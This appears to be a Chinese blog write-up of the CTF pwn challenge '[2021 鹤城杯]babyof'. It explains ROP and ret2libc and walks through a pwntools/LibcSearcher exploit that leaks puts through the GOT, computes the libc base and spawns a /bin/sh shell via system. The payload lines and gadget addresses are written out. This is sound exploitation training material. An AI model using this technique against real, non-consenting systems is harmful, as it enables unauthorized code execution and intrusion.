[2021 鹤城杯]babyof全网最详细

PWN10 rop攻击

先做个知识点补充 rop攻击

ROP(Return-Oriented Programming)攻击是一种计算机安全漏洞利用技术,它通常被用于绕过内存保护机制,如不可执行内存(NX)和栈保护(Stack Canaries),以执行恶意代码。ROP 攻击的核心思想是,攻击者构造一系列返回指令(Return-oriented gadgets)的地址,这些指令本身并不包含恶意代码,而是利用程序已有的可执行代码片段,通过这些片段来实现攻击的目标。
下面是 ROP 攻击的一般步骤:

  1. 1.获取目标程序的信息:攻击者需要了解目标程序的二进制代码,包括内存布局、已知函数、库和数据结构等。通常,这需要分析目标程序的二进制文件或者使用漏洞探测工具。


  2. 2.构建ROP链:攻击者构建一系列返回指令的地址,这些地址指向程序中的现有代码片段,称为ROP gadgets。这些 gadgets 通常是程序中的 ret 指令、pop 指令和其他指令序列,用于执行特定操作。ROP链的目标是以恶意方式组合这些 gadgets,以实现攻击者的目标,比如执行系统调用或禁用安全机制。


  3. 3.控制程序执行:攻击者通过利用程序的漏洞,将程序的控制流引导到ROP链的第一个 gadget,从而开始执行ROP链。每个 gadget 执行一些操作,然后跳转到下一个 gadget,直到完成整个ROP链。


    4.实现攻击目标:ROP链的最后一个 gadget 通常是一个执行目标操作的 gadget,比如执行系统调用或者加载恶意代码。攻击者可以使用这个 gadget 来实现他们的攻击目标,比如获取系统权限或窃取敏感数据。


  4. ROP 攻击的主要优势在于,它利用了程序自身的代码,因此不需要引入新的代码段,从而难以被传统的安全防御机制检测到。然而,构建有效的ROP链可能需要深入理解目标程序的二进制代码,而且这种攻击通常是特定于特定漏洞和目标的,因此它需要相当多的专业知识和定制工作。
    为了防御ROP攻击,操作系统和编程语言提供了一些安全机制,如地址空间布局随机化(ASLR)和栈保护(Stack Canaries),这些机制使ROP攻击更加困难。攻击者需要克服这些障碍来成功执行ROP攻击。

以上为chatgpt的解释

我是这么理解的:因为在某些情况下 是没有system函数或者bin/sh 地址的所以我们需要 使用 pop rdi ret(这个就是 把栈顶的内容弹出可能是一个地址 存储在rdi寄存器中 作为下一个函数的参数 然后ret到下一个地址)这个指令来达到攻击的目的 。当然通常需要伴随 libc(c函数基础库)库的泄露然后通过偏移量定位libc库基地址然后去定位到一些敏感函数或者地址。在题中一步一步看吧!

开始解题

拿到附件 先checksec 这里就不截图了 没有防护

然后就丢尽ida

image


image​​


image

存在溢出 但是没有system函数也没发现后门

image

也没有什么能用的信息

就可以确定是 ret2libc了

image

这里用到了一个puts函数 这也是libc库里的 所以大概思路有了

先要获取gad gets

ROP gadgets通常由以下指令序列组成:

  1. pop​​ 指令:用于弹出寄存器中的值,通常是从栈上弹出的参数。

  2. ret​​ 指令:用于从栈中弹出地址并将控制流返回到该地址。

  3. image

  4. 我们需要获取 pop rdi指令 用来给函数传参

  5. 还需要获取ret 用来控制程序的流

    这里是 0x400743和0x400506

接下来就是写exp了

image(这里按错了 多打了个S)

我来一步一步解释吧(这也是我第一次用到 libcsearcher这个东西)

context(os="linux", arch="amd64")​这里是用pwntools 指定系统和架构 为了更方便的利用一些漏洞

elf = ELF('./babyof')​这里使用ELF()来创建对象elf 这样就可以在代码中访问 附件的函数地址等其他信息了

5-8行都是之前所说的一些地址

puts_plt = elf.plt['puts'] ​​返回 puts​ 函数在过程链接表(Procedure Linkage Table,PLT)中的地址。PLT 是用于动态链接共享库的表,包含了函数的入口地址。

puts_got = elf.got['puts']​获取 puts​ 函数的 GOT 入口地址。GOT 是一个全局偏移表,包含了程序在运行时动态链接共享库时的实际函数地址。elf.got['puts']​ 返回 puts​ 函数在 GOT 中的地址。

pro = remote('node4.anna.nssctf.cn', 28978)​连接环境

payload = b'a'​*64+b'b'8*​+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(main_addr)

payload | 制造溢出 | 通过pop_rdi​指令将puts_got​的地址加载到RDI寄存器中,然后调用puts_plt​触发puts​函数执行,从而泄漏puts​函数的真实地址。最后返回main函数继续执行|

pro.sendlineafter('overflow?\n', payload)​在收到 overflow后发送payload

puts_addr= u64(pro.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))​在收到7f后获取倒数6位 然后使用ljus将后两位补0 因为高地址两位通常为0 在转成无符号整数 就是puts的真实地址

切片的小知识:[起始地址:结束地址] ​ [-6:]是从倒数第六个到末尾 [6:]是从第六个到到末尾 [:-6]是从开头到倒数第六个舍去最后六位 [:6]开头到第六个

libc = LibcSearcher('puts',puts_addr)​通过libcsearcher来找到相同版本的libc 所以需要提供一个函数以及函数的地址

libc_addr = puts_addr - libc.dump('puts')​ 通过puts函数的地址-puts函数位于libc的偏移量 算出来的就是libc的基地址了

举个例子 这是 libc库→→→→→→这是puts的真实地址

              |↑这是偏移量↑|

binsh=libc_addr+libc.dump('str_bin_sh')​libc的基地址+bin/sh位于libc的偏移量 就是bin/sh的地址

system=libc_addr+libc.dump('system')​ 同理 不解释

payload=b'a'*(64+8)+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)

同样先造成溢出 然后这里为什么会有个ret有一个大佬的解释

image

(就是调用system函数时 需要栈顶十六字节对齐必须遵守所以 乖听话 咱不叛逆 这样既可以对齐也能保证我们下一步不出错)

接下来就是pop rdi ret的 把/bin/sh的地址作为参数传给system函数执行

pro.sendlineafter('overflow?\n',payload)​就是再传一次payload

然后就做完了

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值